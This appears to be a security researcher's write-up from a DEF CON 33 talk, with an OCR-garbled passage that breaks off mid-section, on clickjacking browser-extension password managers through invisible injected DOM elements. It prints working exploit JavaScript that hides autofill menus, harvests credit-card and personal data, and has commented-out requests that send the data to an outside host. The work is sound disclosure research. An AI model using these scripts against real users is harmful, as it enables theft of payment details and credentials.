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at Risk

9 August 2025 (Updated: 14 January 2026)

This security research was presented at DEF CON 33: PDF presentation

Since the research was presented at DEFCON (August 9, 2025), several updates have
been made:

Update 22.8.2025:
Bitwarden: 2025.8.1 in progress, <=2025.8.0 vulnerable Enpass: 6.11.6 fixed - released: 13.8.2025,

<=6.11.5 vulnerable KeePassXC-Browser <=1.9.9.2 (latest) is vulnerable

e New demo sites for: 1Password, Bitwarden, iCloud Passwords, KeePassXC-Browser, LastPass

e "Password Managers: Vulnerable & Fixed Versions" updated with the latest versions and videos
Update 11.9.2025: Bitwarden: 2025.8.2 fixed - released: 31.8.2025, <=2025.8.1 vulnerable
LogMeOnce: 7.12.7 fixed - released: 9.9.2025, <=7.12.6 vulnerable

Update 14.1.2026: New section "Web applications with custom content (no vulnerability required)"
in Impact-Login credentials Updated the latest vulnerable versions


https://defcon.org/html/defcon-33/dc-33-speakers.html#content_60358
https://marektoth.com/presentations/DEFCON33_MarekToth.pdf

Is clickjacking still an exploitable vulnerability nowadays? Many bug bounty programs have this
vulnerability listed in the "out of scope" section, and in better cases they accept it but don't reward
it. The reason is that there are many protections available today that significantly reduce the
impact of this vulnerability. It can be said that a common web clickjacking vulnerability has already
been solved and can be easily defended against.

The result of my research is that clickjacking is still a security threat, but it's necessary to shift from
web applications to browser extensions, which are more popular nowadays (password managers,
crypto wallets and others).

| described a new attack technique with multiple attack variants and tested it against 11
password managers. This resulted in discovering several 0-day vulnerabilities that could affect
stored data of tens of millions of users.

A single click anywhere on a attacker controlled website could allow attackers to steal users'
data (credit card details, personal data, login credentials including TOTP). The new technique is
general and can be applied to other types of extensions.
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Key Information

* A new clickjacking technique where a malicious script manipulates Ul elements that browser
extensions inject into the DOM by making them invisible using javascript.

* In my research, | selected 11 password managers that are used as browser extensions and the
result was that all were vulnerable to DOM-based Extension Clickjacking in the default
configuration. Tens of millions of users could be at risk (~40 million active installations).

+ A single click anywhere on the attacker's website could leak credit card details including
security codes (6 out of 9 were vulnerable) or exfiltrate stored personal information (8 out of 10
vulnerable).

* All password managers filled credentials not only to the "main" domain, but also to all
subdomains. An attacker could easily find XSS or other vulnerabilities and steal the user's stored
credentials with a single click (10 out of 11), including TOTP (9 out of 11). In some scenarios,
passkey authentication could also be exploited (8 out of 11).



+ All vulnerabilities were reported in April 2025 with a notice that public disclosure will be in August
2025. Some vendors have still not fixed described vulnerability: Bitwarden, 1Password, iCloud
Passwords, Enpass, LastPass, LogMeOnce. Users of these password managers may still be at risk
(~32.7 million active installations).

* For Chromium-based browser users it is recommended to configure site access to "on click" in
extension settings. This configuration allows users to manually control autofill functionality.

* The described technique is general and | only tested it on 11 password managers. Other DOM-
manipulating extensions are probably also vulnerable (password managers, crypto wallets, notes
etc.).

Introduction

Intrusive Web Elements

While browsing websites, users often encounter intrusive web elements that block immediate
access to target content. These elements require users to click to close them.

The most common intrusive elements requiring user action:

e Cookie consent banners - 1 click (accept/decline cookies)

e Newsletter popup, login dialog - 1 click (closing dialog)

e Web push notifications - 1 click (accept/decline)

e Cloudflare challenge pages / Captcha pages - 1 click (Verify you are human)

2 clicks if verification fails, 4 or more clicks if captcha needs to be solved

1-3 clicks from the user are commonly required before accessing content.

Because users expect to interact with these elements, | will use fake intrusive web elements in
a clickjacking exploit to trick the user into clicking.



Clickjacking (Web Application)

Clickjacking (or "Ul redressing") is a client-side attack technique that exploits visual layering to
hijack user clicks intended for legitimate interface elements. This attack uses invisible frames
(iframes) to deceive users who believe they are clicking on legitimate website elements, while
actually performing actions that benefit the attacker.

Basic attack principle:

e Attacker creates a malicious page with an invisible iframe containing the target website
(opacity:0).

e User visits the malicious page and clicks on apparently legitimate visible elements.

e Clicks are actually intercepted by the hidden iframe, performing unwanted actions on the target
site.

<iframe src="https://targetsite.com" style="opacity:0"></iframe>

To mitigate security impact, security headers X-Frame-Options or Content-Security-Policy are used.

X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW-FROM https://example.com

Content-Security-Policy: frame-ancestors 'none’;
Content-Security-Policy: frame-ancestors 'self’;

Content-Security-Policy: frame-ancestors https://example.com

Additionally, the SameSite Lax or Strict cookie attribute can be set to prevent cookie usage in
cross-site iframes.

SameSite=Lax cookies in cross-site POST request or cross-site iframes are blocked
SameSite=Strict cookies only for same-site requests
SameSite=None allowed cookies for cross-site requests

Default value is SameSite=Lax if SameSite isn't specified.

Clickjacking in web applications has minimal security impact in most cases because users are
not authenticated in the loaded iframe and therefore preventing any malicious actions from
being executed.

Password Managers

Password managers are widely used as browser extensions to simplify website authentication. In
this research, | tested 11 password managers using a new technique.

For reference, the article The Best Password Managers for 2025 by PCMag was used for the
selection of 10 password managers.


https://www.pcmag.com/picks/the-best-password-managers

The following password managers were listed there:

e 1Password
e Bitwarden
e Dashlane
e Enpass

o Keeper

e |astPass

e LogMeOnce
e NordPass
e ProtonPass
e RoboForm

| also added iCloud Passwords to this list because it is widely used (5.4 million active installations -
Chrome Web Store, Firefox Add-ons, Edge Add-on).

| want to mention that iCloud Passwords was tested only as a browser extension (Google Chrome,
Firefox, etc.) and not as a system application with Safari integration.

Autofill feature
Password managers have autofill functionality that can be of 2 types:

e Automatic autofill - credentials are automatically filled in (0-click)

e Manual autofill - user interaction is required to fill in credentials (selecting from a dropdown
menu)

automatic autofil manual autofill
[image: image] [image: image]

My research focuses on clickjacking, so click is required and | focused only on manual autofill
(selecting from a dropdown menu/Ul autofill menu).

*On automatic autofill (mostly browsers) | published research in 2021 *(You should disable autofill in
your password manager).

Browser Extension Clickjacking

Clickjacking vulnerability in browser extensions works similarly to web applications. Through
clicking, the user unknowingly performs an action that causes their browser extension to execute
malicious activity such as data exfiltration, functionality deactivation, stored note deletion and
others.

Browser extension clickjacking can currently be categorized into 2 types:
e IFRAME-based - publicly described type (web_accessible_resources)
e DOM-based - new described type

I will first describe the IFRAME-based variant, which was not the research focus but may be
unknown to many people.


https://chromewebstore.google.com/detail/icloud-passwords/pejdijmoenmkgeppbflobdenhhabjlaj
https://addons.mozilla.org/firefox/addon/icloud-passwords/
https://microsoftedge.microsoft.com/addons/detail/mfbcdcnpokpoajjciilocoachedjkima
https://marektoth.com/images/dom-automaticautofill.gif
https://marektoth.com/images/dom-manualautofill.gif
https://marektoth.com/blog/password-managers-autofill/
https://marektoth.com/blog/password-managers-autofill/

IFRAME-based

The iframe-based type loads an external resource via an iframe.
A publicly documented clickjacking technique for browser extensions exploits misconfigured
web_accessible_resources in the manifest.json file.

manifest.json is the main configuration file of a browser extension. It contains basic
information such as the extension’s name, version, and description, as well as settings that
define what scripts, icons, and permissions the extension uses. Without this file, the browser
cannot recognize or run the extension.

Chromium-based path: chrome-extension://<extension_ID>/manifest.json

Mozilla Firefox path: moz-extension://<extension_ID>/manifest.json

Local device path: %LocalAppData%\Google\Chrome\User Data\Default\Extensions\
<extension_ID>\<version>\manifest.json

In the web_accessible_resources part, developers explicitly define files (HTML, scripts, styles,
images) that should be accessible from web pages outside the extension interface itself. If
developers don't specify sufficient restrictions, attackers can abuse these resources.

Usage

When files with significant functionality (HTML files) are defined in web_accessible_resources, an
attacker can create a page that loads this file into a transparent iframe and tricks users into
unknowingly clicking on extension elements.

This uses basically the same principle as web application clickjacking.

Basic usage:

<iframe src="chrome-extension://<extension_|D>/file.html" style="opacity:0"></iframe>

Example

Although this isn't a new technique and information has been available for several years, some
extensions still have this security vulnerability. In this research focused on password managers,
one of them had this issue.

In December 2023, | reported this clickjacking vulnerability in the NordPass password manager.
Due to incorrect web_accessible_resources definition, it was possible to load the entire password
manager Ul in an iframe.



"manifest_version™: 2

3

name"”: "NordPass® Password Manager & Digital Vault”,

"optional permissions”: [ "clipboardRead", "clipboardwWrite" ],

"permissions": [ "storage", "tabs", "privacy", "contextMenus", "https://api-toggle.nordpass
.com/*", "idle", “alarms" ],

"short_name": "NordPass",

"update_url": "https://clients2.google.com/service/update2/crx"”,

“version”: "5.10.20",

"web_accessible _resources": [ "autofill.html", “reportProblem.html", "changeFormBehaviour
.html", "autofillSwitcher.html", "jsAndWasm/injectedPasswordless.js", "passkeysDialog

.html", "autoSaveDialog.html", “"securityToolDialog.html", "assets/manifestIcons/icon.svg"
s index.html”, "ap il

hd v websecurity.dev/nordpassfwel X + = O %

« c 25 websecurity.dev/nordpass/web-accessible-resources-opacity/iframe-chrome.htm| ¥ D |

iframe#mylframe 200 = 200 |

ik LD Elements Console Sources Network Performance Memory  >> 93 |1 i:_;:B P X

<IDOCTYPE html> Styles >
<html lang="en-us">» O
<head> </head> thov .cls -
¥ <body>
wo Pciframe id="myIframe" width="800" height="800" style="opacity:0.4" frameborder="86" {
src="chrome-extension://eiaeiblijfjekdanodkjadfinkhbfgcd/app.html"> - </iframe> == %o opacity
<script type="text/javascript" src="chrome-extension://eiaeiblijfjekdanodkjadfinkhbfg
cd/jsAndWasm/injectedPasswordless.js"></script> .45
</body> }
</html>

With 4 clicks, it was possible to share all items from the password manager to an attacker's
account. The result was that the attacker gained access to all stored passwords, credit cards, and
personal data without the user's knowledge.

Victim's view (opacity:0)

Semi-transparent (opacity:0.5)



Because the victim was required to perform several clicks (select all, share items...), a fake
Cloudflare captcha page was created as proof-of-concept. By completing the captcha, the attacker
gets all data from the password manager.

A major problem here was also that the victim received no notification about the shared files.

| was awarded a $10,000 bounty for this vulnerability.
Tip: How did | know that the user clicked into the iframe so | could change the position?

| used an off-viewport element that has . If a user clicks into the iframe => the element lost focus
and iframeClick() was executed, which changed the position and set focus again for that element.

In the past, the MetaMask cryptocurrency wallet, for example, had the same vulnerability (source,
source2).

Manifest

With Manifest V3, resource access is now explicitly controlled through the matches parameter,
requiring developers to define the exact origins from which resources may be loaded.

"web_accessible_resources": [
{
n n

"resources": ["image.png", "script.js"],
"matches": ["https://example.com/*"]
}
]

In Manifest V2, there was no restriction to specific sources, making it always possible to load files
from any domain.

"web_accessible_resources": [

{
"resources": ["image.png", "script.js"]
}
]

Protection

Only necessary files should be defined in the web_accessible_resources.

When exposing HTML or script files that enable extension interaction, such as state modification,
background script communication, or sensitive operations restrict access using the matches
parameter to limit loading to specific trusted domains.

Additional protection requires implementing X-Frame-Options: DENY headers or Content-Security-
Policy: frame-ancestors 'none'. These headers must be applied to all HTML responses served
through web_accessible_resources.


https://metamask.io/news/metamask-security-monthly-june-2022#:~:text=Clickjacking%20Vulnerability
https://www.youtube.com/watch?v=HnI0w156rtw

DOM-based Extension Clickjacking

A new clickjacking technique where a malicious script manipulates Ul elements that browser
extensions inject into the DOM.

<html>

<head></head>
¥ <body>

» <loginform> .- </loginform>

P <com-1password-button> . </com-1password-button>

P <com-1password-menu> .- </com-1password-menu>

</body>
</html>

The principle is that a browser extension injects elements into the DOM, which an attacker can
then make invisible using javascript.

Login Form Login Form Login Form

Username Username Username

Log in as...

Passwh Password

( marektoth.com

s

b

To change visibility is used opacity:0 to various elements or overlay Ul components.

In my case, focusing on password managers, the manual autofill feature was used to increase
impact.

Password Manager Exploit Steps:

e Create an intrusive element (cookie consent, cloudflare captcha etc.)

e Create a form (login, personal data...)

e Set transparency for the form (opacity: 0.001)

e Use focus() for the form input the autofill dropdown menu will appear
e Make the Ul invisible with DOM-based Extension Clickjacking

e Victim accepts/rejects cookies = clicks on the invisible Ul

data will be filled into the newly created form (2.) attacker gets data from the form values



Types & Subtypes:

DOM-based Extension Clickjacking can be divided into several types/categories. Each manipulates
DOM elements differently, but the result is always the same - the Ul is invisible but clickable.

DOM-based Extension Clickjacking
Extension Element
Root Element
Child Element
Parent Element
BODY
HTML
Overlay
Partial Overlay

Full Overlay

Extension Element

This is the most basic type, discovered in November 2023, which initiated this entire research. |

initially reported only this variant. Later, in early 2025, | identified two additional types and
documented the complete DOM-based technique.

In this type, the opacity:0 is set for the extension element.

Root Element



The user sets opacity directly on the extension's root element.
document.querySelector("root-element").style.opacity = 0;

For example, Proton Pass was vulnerable to this type of attack. To change visibility, the following
code was used:

document.querySelector("protonpass-root").style.opacity = 0.5;

Login Form

Username

marektoth.com
usarnarmse h

i< Lo Elements Console Sources Network Performance Memory  Application  Privacy and security Lighthc
<!DOCTYPE html>

<html lang="en">

» <head> (- ¢ /head>

¥ <body class="my-login-page">

= ¥<protonpass-root style="opacity: ©.5;"> == $8

b1

<link rel="stylesheet" href="chrome-extension://ghmbeldphafepmbegfdlkpapadhbakde/styles/styles.root.css">
P <iframe src="chrome-extension://ghmbeldphafepmbegfdlkpapadhbakde/dropdown.html"” class="visible" style="--
frame-animation: fadein; --frame-width: 25@px; --frame-height: 6@px; --frame-zindex: 5; --frame-top: 193.
47999572753986px; --frame-left: 610.83999633789086px; --frame-right: unset;">» . ¢/iframe>
</protonpass-root>
</body>
</html>

Child Element
The user sets opacity on the extension's child elements. This usually occurred when a Shadow
Root (open) was used, making the element accessible.

document.querySelector("child-element”).style.opacity = 0;

Proton Pass remained vulnerable after the "Root Element" fix since child elements were still
modifiable. Attackers had to just identify the root element name (changing per page refresh)
before modifying child element opacity.



// find root element
const x = Array.from(document.querySelectorAll('*"))

find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'));

x.shadowRoot.querySelector("iframe").style.cssText += "opacity: 0 limportant;";

Login Form

Username

Password

&

ik [0 CElements Console Sources Network Performance Memory Application  Privacy and security Lighthoust

<!DOCTYPE html>
<html lang="en">
» <head> - </head>
¥ <body class="my-login-page”>
» <section class="h-180@"> ... </section>
¥ <protonpass-root-e2df data-protonpass-role="root" data-protonpass-theme="dark" popover="manual"> ( /¥ top-layer (1)
~ #shadow-root (open)

P ciframe src="chrome-extension://ghmbeldphafepmbegfdlkpapadhbakde/dropdown.html" popover class="visible"
style="--frame-animation: fadein; --frame-width: 25@px; --frame-height: 92px; --frame-top: 208.704544067382

8px; --frame-left: 803.0080610351562px; --frame-right: unset; opacity: @ !important;"> .. </iframe> == $@
: :backdrop
</protonpass-root-e2df>
</body>
</html>
F #top-layer

Parent Element

In this type, the user sets opacity:0 for the parent element that contains the extension element.

BODY
The user sets opacity:0 for <body> element, which makes the extension Ul transparent.

After this setting, the <body> will be invisible, so the user sets a background-image on the <html>
element. The background image used is a screenshot of the website (can be used image or

svg).



We use cookie to improve your experience
on our site. By using our site you consent
cookies.

Allow Cookies

Decline

i [D GElements Console Sources Metwork Pe i L[O  Elements Console Sources MNetwork Performar

=+ ¢ |DOCTYPE html> == %8 s 2 |DOCTYPE htmls == %8

chtml> <html style="background-image: url("website.png");">

¥ chead> < fhead> b cheads - < /heads

¥ chody style="opacity: @;"> *<cbody style="opacity: a;"»
P ¢section» e </sections ¥ ¢sections - </section>
b ccom-1password-button> = </com-1password-button: ¥ <com-1password-buttons - </com-1password-button>
b ccom-1password-menus .- </ com-1password-menus ¥ <com-1password-menus -- </com-1password-menus
</body> </body>

</ htmls </htmls

document.body.style.opacity = 0;

document.documentElement.style.backgroundimage = url("website.png");

Exploit code: Parent Element - BODY



// CREDIT CARD FORM
var cardform = document.getElementByld('cardform’);
if (lcardform) {
cardform = document.createElement('cardform’);
cardform.id = 'cardform’;
cardform.style = "position: fixed; bottom: Opx; left:0px; z-index: 2147483647; opacity:0.1";
cardform.innerHTML = "<form method="post" name="card" action="/"id="creditcard" autocomplete="off" novali
<input type="text" id="cardnumber" name="cardnumber" placeholder="" autocomplete="cc-number new-pas

<input type="text" id="expiry" placeholder="" autocomplete="off" inputmode="numeric" pattern="\d*" autofc
<input type="text" name="cvc" id="cvc" placeholder="" autocomplete="cc-csc new-password" maxlength="3"
</form>";
document.body.appendChild(cardform);
}
// SET BACKGROUND-IMAGE
window.setTimeout(function(¥{
document.querySelector("html").style.backgroundimage = "url(website.png)";
document.getElementByld('cardform’).style = "position: fixed;top: 453px;left: 467px;z-index: 2147483647;";
document.getElementByld('cardnumber’).focus();
document.querySelector("body").style.opacity = "0.001";

}, 1000);

// GET DATA FROM INPUTS

function getCardValues() {
var cardnumber = document.getElementByld(‘cardnumber’).value;
var expiry = document.getElementByld(‘expiry').value;
var cvc = document.getElementByld('cvc').value;

if (expiry && cvc) {

// DATA WILL BE IN CONSOLE

console.log("cardnumber="+cardnumber+"&expiry="+expiry+"&cvc="+cvc);

/* Sending data to external server

var xhttp = new XMLHttpRequest();

xhttp.open("GET", "https://example.com/?cardnumber="+cardnumber+"&expiry="+expiry+"&cvc="+cvc, true);
xhttp.send();

*/

// AFTER STEALING DATA - OPACITY:1 FOR BODY
cardform.style.display = "none";
document.querySelector("body").style.opacity = "1";

document.querySelector("html").style.backgroundimage = "";



HTML
The user sets opacity:0 for <htmlI> element, which makes everything transparent.
Victim must click on blank page, that less practical but still exploitable.

Must to be created "clicking" game - Reaction Time or Visual Memory Test. For example, the user
might have to click on a white screen to test how fast their reactions are.

document.documentElement.style.opacity = 0;

Overlay
In this type, the user does not change the opacity but overlays the Ul.

Partial Overlay

The user creates elements around the extension Ul with only a few pixels remaining visible (small
clickable area).

~®
Ma Marektoth
usermame 3_‘_9'

R Lo Elements Console Sources Network Performance
=+ 2 IDOCTYPE html> == %8

<html>»

<head»</head>
¥ <hody>

¥ <loginform> - </loginform:>
P <com-1lpassword-button> - </com-1password-button>
P <com-1password-menu> i« ¢/com-1lpassword-menu:
</body>
</html>

The goal is that injected elements must be last in the DOM with maximum z-index value. Extension
elements in many cases also have the maximum z-index value - the last element in the DOM will
be 'on top'.



Or using Popover API for these elements (=top layer element). In some cases, it's necessary to use
both methods = the last popover element in DOM.

The user then creates a Ul for these elements that forces the user to click - background image for
new elements (website screenshot) or inserted HTML code with intrusive web elements.

Full Overlay
The user creates an element that covers the entire extension Ul.

Because it's completely covered, it would normally not be clickable but with using pointer-
events:none it can be. This way, clicks can pass through the element click on extension Ul.

Same as "Partial Overlay", the goal is that injected elements must be last in the DOM with
maximum z-index value. Or using Popover API for these elements (=top layer element). In some
cases, it's necessary to use both methods = the last popover element in DOM.

Popover is used with popover="manual" - element is not closed after click.

To display the Popover element, the following code is used:
document.getElementByld('x').showPopover();

The user then creates a Ul for these elements that forces the user to click - background image for
new elements (website screenshot) or inserted HTML code with intrusive web elements.

Exploit code: Full Overlay


https://developer.chrome.com/blog/introducing-popover-api
https://developer.chrome.com/blog/introducing-popover-api

// COOKIE BANNER
const dialog = document.createElement("cookie");
dialog.innerHTML = "<div id="popover" popover="manual" style="pointer-events: none; display: none; position: fixed; t

document.body.appendChild(dialog);

// POPOVER ON COOKIE BANNER

setTimeout(() => {
document.getElementByld('popover’).style.display = ";
document.getElementByld('popover').showPopover();

}, 1000);

// PERSONAL DATA FORM -

setTimeout(() => {
const personalform = document.createElement('div');
personalform.id = 'personalform’;
personalform.style = "position: fixed; top: 179px;left: 430px;z-index: 2147483647;";
personalform.innerHTML = "<form method="post" name="personaldata" action="/" id="personaldata">
<input id="name" name="name" type="text" autocomplete="name">
<input id="email" name="email" type="text" autocomplete="email" autofocus>
<input id="phone" name="phone" type="text" autocomplete="tel">
<input id="street" name="street" type="text" autocomplete="street-address">
<input id="zipcode" name="zipcode" type="text" autocomplete="postal-code">
<input id="city" name="city" type="text" autocomplete="address-level2">
<input id="country" name="country" type="text" autocomplete="country">
</form>";

document.body.appendChild(personalform);

// NAME INPUT FOCUS - DROPDOWN MENU
setTimeout(() => {

document.getElementByld('name’).focus();
}, 1000);

}. 2000);

// GET DATA FROM INPUTS

function getData() {
const name = document.getElementByld('name’).value;
const email = document.getElementByld(‘'email’).value;
const phone = document.getElementByld('phone’).value;
const street = document.getElementByld('street’).value;
const zipcode = document.getElementByld('zipcode').value;
const city = document.getElementByld('city').value;
const country = document.getElementByld('country').value;

if (city && country) {



var personalData = [name, email, phone, street,

zipcode, city, country].join('-");

// DATA WILL BE IN CONSOLE

console.log(personalData);

/* Sending data to external server

var xhttp = new XMLHttpRequest();

xhttp.open("GET", "https://example.com/?data="+personalData, true);
xhttp.send();

7

// HIDE NEW FORM & COOKIE BANNER
document.getElementByld('personalform’).style.display = "none";

document.getElementByld('popover').style.display = "none";

Position

Within the exploit, various positioning methods can be used for the extension Ul (autofill Ul).

Fixed click position
The Ul can have a fixed position below the "click" element, such as:

e accept/ decline cookies
e checkbox - “Verify you are human”

e X - closing newsletter / login dialog
This method sets a fixed position directly on the extension element.

A better and simpler method is to set a fixed position for the new form - the autofill Ul will
open where the form is located.

Under mouse cursor (Ul that follows mouse cursor)
As the name suggests, it can be set so that the Ul is always under the mouse cursor

e extension element position override

¢ the extension element position is set to the current mouse coordinates

e new form position (login, personal data...)

e the newly created form position has the current mouse coordinates
o every 100ms focus() on input = Ul follows the form

Result: *7 click anywhere on the website = An attacker has your data *(see more the Impact section)



document.addEventListener('mousemove’, function (event) {

document.getElementByld('personalform’).style = "top: "+(event.pageY - 50)+"px; left:"+(event.pageX - 100)+"px; wic

window.setTimeout(function(){
document.getElementByld('name').focus();

}, 100);
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Password Managers: Test Results

The table below shows the status of whether password managers were vulnerable to DOM-
based Extension Clickjacking. All password managers were in the default configuration.

Password Manager Vulnerable? Extension Element Parent Element Qverlay
1Password Y- v 2 -}
Bitwarden m v m :Q:
Dashlane :Q: v :Q: :Q:-
Enpass m :Q: :Q: :@:
3

iCloud Passwords

-} -2} -] 2
sy ™y b bk 4 smr
‘]

Keeper :Q: m :@: :Qv
LastPass :@: :@: :Q: :Q:
LogMeOnce :Q: m :Q: :’:
NordPass m m :Q: :Q:
ProtonPass :@: :Q: :Q: :Q:
RoboForm :Q: :Q: :Q: :@:

Current vulnerability status is in section Password Managers: Vulnerable & Fixed Versions.

Detection

All vulnerable password managers can be combined into one script.

The script can simply detect which Ul elements are present in the DOM and then use the correct
method. This allows an attacker to use one universal script against all the described password
managers.

Lock/Unlock Detection

By analyzing DOM element attributes, attackers can determine whether a password manager is
currently locked or unlocked.

An attacker therefore doesn't need to display "cookies" elements to obtain clicks, since they know
the attack wouldn't be successful. Alternatively, they can use various social engineering techniques



to cause the password manager to be unlocked.

Impact

Because the exploit script uses manual autofill functionality, the impact is categorized by the type
of data that are filled in.

Attacker’'s website

An attacker can use their own website with javascript exploit and can exfiltrate these data:
e Credit Card - credit card number, expiration date, security code

e Personal Data - name, email, phone, address, date of birth (some password managers)

This data is not domain-specific = *can be autofilled on any website *

Password Manager Credit Card Personal Data

PR ,
1Password @ 1click
Bitwarden

Dashlane v v

Enpass :Q: 1 click :@: 1click

&0

Keeper .~ 5clicks @ Sclicks

g eN i

" P Y . o g B 5
LastPass .m. 2 clicks
LogMeOnce :Q: 1 click :@: 1click
F . . off e 5 ‘
NordPass _'Q, 1 click '@, 1 click
da®h 5
ProtonPass 'Q, 1 click

o e B . ol B .
RoboForm *@Q’ 1 click ‘Q’_ 1 click

*Keeper was not exploitable for these data on attacker's website

1 click on an attacker's website the attacker has your stored credit card details *or your
personal information*.

2 clicks and the attacker has both data (credit card details + personal data)



PoC Video:

In the following video, the user uses RoboForm and the attacker forces the user to make 2 clicks
the attacker exfiltrates the user's credit card details and personal data

Same example but with opacity:0.5 - RoboForm Ul more visible

ProtonPass is marked as "Not supported" because it doesn't have autofill for credit cards, only
copy/paste can be used. However, autofill functionality was planned (roadmap for spring 2025).

1Password is marked as "not vulnerable" ( ) for Credit Card because user has to click on "OK" in
dialog. But there was a problem with the dialog text

marektoth.com says

Click OK to fill yourfl Password iteml@n marektoth.com

Only when filling credit card details was a generic consent dialog displayed for filling a "1Password
item". After confirmation, the credit card was filled in. This dialog only appeared for credit cards,
and users could be confused about what data was actually being filled.

The following video exploits this generic text:

e First, the attacker exfiltrates personal data (including the email address).

e Next, an email input is shown for entering an email address to receive a discount coupon.

e The user is shown a generic consent dialog to fill in a "1Password item" (the user does not
realize this is the credit card).

e After confirmation, the attacker steals the credit card details and fills the input field with the
user's email address exfiltrated in 1). Credit card autofill wasn't vulnerable to clickjacking, but
could still be exploited due to generic dialog text.

1Password: Personal Data + Credit Card, generic text in alert (opacity:0)

1Password: Personal Data + Credit Card, generic text in alert (opacity:0.5)

Website with vulnerability (e.g. XSS)

In this case, the attacker needs to find some vulnerability, such as XSS, subdomain takeover,
web cache poisoning or other. The goal is for the attacker to be able to execute their javascript
code on a trusted domain. For simplicity, | will use "XSS" beacuse it's the most common type of
vulnerability in web applications.

The attacker can exfiltrate these data:

¢ Login credentials - username, password, TOTP (2FA)
e the attacker can also obtain data that is not limited to the domain = payment card and personal
data (see above)


https://proton.me/blog/pass-roadmap-spring-2025

Password managers allow not only storing credentials, but also storing TOTP (Time-based one-
time password). If a user saves TOTP in the password manager instead of in another application
(Google Authenticator), the attacker could also exfiltrate TOTP, often without additional user
interaction.

Domain autofill The attacker can only steal credentials for the vulnerable domain. But on the
other hand, there is a huge advantage for the attackers. All password managers fill credentials
not only into the same domain where the credentials were stored, but also into all subdomains
or parent domain in default configuration

AUTOFILL BEHAVIOR AUTOFILL BEHAVIOR
QO Fill anywhere on this website Fill anywhere on this website
Only fill on this exact host © Only fill an this exact host
Never fill on this website Mever fill on this website
This item will fill on example.com and This item will fill only on example.com,
some related websites. never on subdomains or parent domains.
| Credentials Saved | Autofilled (manual autofill) | | | example.com |
subdomain.example.com | | | example.com | test.subdomain.example.com | | |
subdomain.example.com | subdomain2.example.com | | | subdomain.example.com |

example.com | |
Subdomain autofill in Keeper. Other password managers have same behaviour

If a user has stored credentials for Google account, they will have them saved for:
accounts.google.com The attacker only needs to find XSS, for example, on
test.dev.sandbox.cloud.google.com and still he can use DOM-based extension clickjacking
technique and steal user's credentials for Google account.

So the attacker isn't limited to a small scope, he can find vulnerabilities anywhere on:
.example.com/



Password Manager Credit Card Personal Data Login TOTP
TPassword & 1click & 1click - Oclick
Bitwarden ' 1 click 1 click 1 click " 0click
Dashlane % | v | | v
Enpass 1 click , 1click O click
iCloud Passwords ot euobortadl I Not aubeorted| _ 1 click ' 1 click
Keeper o) s : s 1click 0 click
LastPass 2 clicks 2 clicks | 2 clicks * ~ Oclick *
LogMeOnce 1 click 1 click 1click *

NordPass " 1click 1 click .

ProtonPass Not supported 1 click ] 1click | 1click

RoboForm ' 1click 1 click | 1click ~ Tclick

*automatic autofill enabled by default (0-click autofill)
PoC Video:

In the following video, the attacker found an XSS vulnerability on a trusted domain
(issuetracker.google.com) and shared a link on a social network: the victim makes 3 clicks on
fake intrusive elements the attacker stole data: login credentials + TOTP (stored for
accounts.google.com), credit card details, personal data

Web applications with custom content - file upload / code editor
(no vulnerability required) - Added 14.1.2026

In some cases, it is not necessary to find XSS or another vulnerability, but it is sufficient to leverage
legitimate functionalities of web applications.

One such functionality may allow uploading a custom SVG image, HTML file, or editing written text
by modifying HTML code. This is commonly allowed by web applications for custom e-commerce
(Shopify), custom websites (Wix, Squarespace), blogs, storages and others.

These uploaded files subsequently contain custom javascript code that executes DOM-based
extension clickjacking.

Although it may seem like a security vulnerability, this is not the case. Some platforms have file
upload as an intended functionality and allow uploading arbitrary HTML files and SVG files for
further use, such as product images in an e-shop.

The impact is identical to finding a security vulnerability, as an attacker can exfiltrate the following
data:

¢ Login credentials - username, password, TOTP (2FA)

e the attacker can also obtain data that is not limited to the domain = payment card and personal
data (see above)

Example for Shopify (e-commerce platform):



Every user logs into the admin panel via https://accounts.shopify.com

hd A Login — Shopify X + = & X

L= ] C 2% accounts.shopify.com/lookup?rid=32dbdaae-228b-42d5-be8b-b756d68caTabliverify=... g @

-\ shopify

Login

Continue to Shopify

Email

Continue with email

The user has credentials saved for accounts.shopify.com in their password manager (autofill
for *.shopify.com, see autofill for all subdomains)

After logging in, the user is redirected to their administration panel
(https://admin.shopify.com/store/), where they can manage their e-shop content (e-shop HTML
pages) or upload various files.

v | @ XXXX-Files - Shopify Plus x + = G

“ ; &) 25 admin.shopify.com/storefiooo- 1340037 fcontent/files?selectedView=all i @ :

2 cCustomers
& Marketing B Files Uﬁadﬂles W |
£} Discounts
All - Q= TL
&3 Content
Metaobjects File name Alt text
tas Main_9129b69a-0c7h-4166-b6ci-c4222f18028a o -
{ ‘ Topand| 25 &
Menus JPG
& settings ﬁl Main_boeOda7i-dbgo-4d41-8310 71170028310 1 iy we o

These files can contain custom JavaScript and everything is stored on Shopify CDN.

SVG with custom JS code on cdn.shopify.com



v @ cdnshopify.com/s/files/1/0926 X + = O X

X M 22 cdnshopify.com/s/files/1/0926/5967/9626/files/xss.svg?v=1757433221 b g b} = 0

cdn.shopify.com says

XSS

Confirmation that anything can be stored on Shopify CDN - “Shopify allows merchants to upload
any file they want on our content delivery network. Being able to upload a file is not a vulnerability,
this is the intended functionality.” (https://hackerone.com/shopify/policy_scopes)

cdn.shopify.com
Environment: Non-core

Domain Qut of scope 1 None ) Ineligible
Shopify allows merchants to upload any file they want on

our content delivery netwerk. Being able to upload a file

is not a vulnerability, this is the intended functionality.

Executing custom JavaScript on cdn.shopify.com normally cannot achieve any impact. Data cannot
be obtained from the administration panel because it is a different subdomain - it is not possible
to send a request to the admin and receive a response (data cannot be obtained due to the
request from a different subdomain cdn.shopify.com admin.shopify.com).

However, by utilizing the DOM-based extension clickjacking technique, it is possible to obtain
saved credentials from the password manager, because all password managers autofill credentials
into all subdomains (described in autofill for all subdomains).

Credentials will be autofilled on cdn.shopify.com since it is a shopify.com domain = after the
victim clicks, the attacker obtains their saved admin credentials.

Another example could be a blogging platform, free web hosting, or a cloud service

Login: login.example.com / admin.example.com Content: <user_id>.example.com/main-page,
preview.example.com/<user_id>/post1

The attacker would then simply create a page with a clickjacking script and send an email with a
link to all users of that platform. Any user who clicked once on that page would thereby send their
administrative login credentials to the attacker.

These companies cannot prohibit the insertion of custom javascript. The user would then
be limited in the available features of the service/hosting, for example the ability to embed
their analytics tool, etc.

Passkeys

Besides login credentials, another impact can be:



e Passkeys - signed assertion hijacking (authentication flow hijacking)

attacker creates a new session for victim account

Passkeys are very strictly domain-limited and it's not possible to find a vulnerability on a
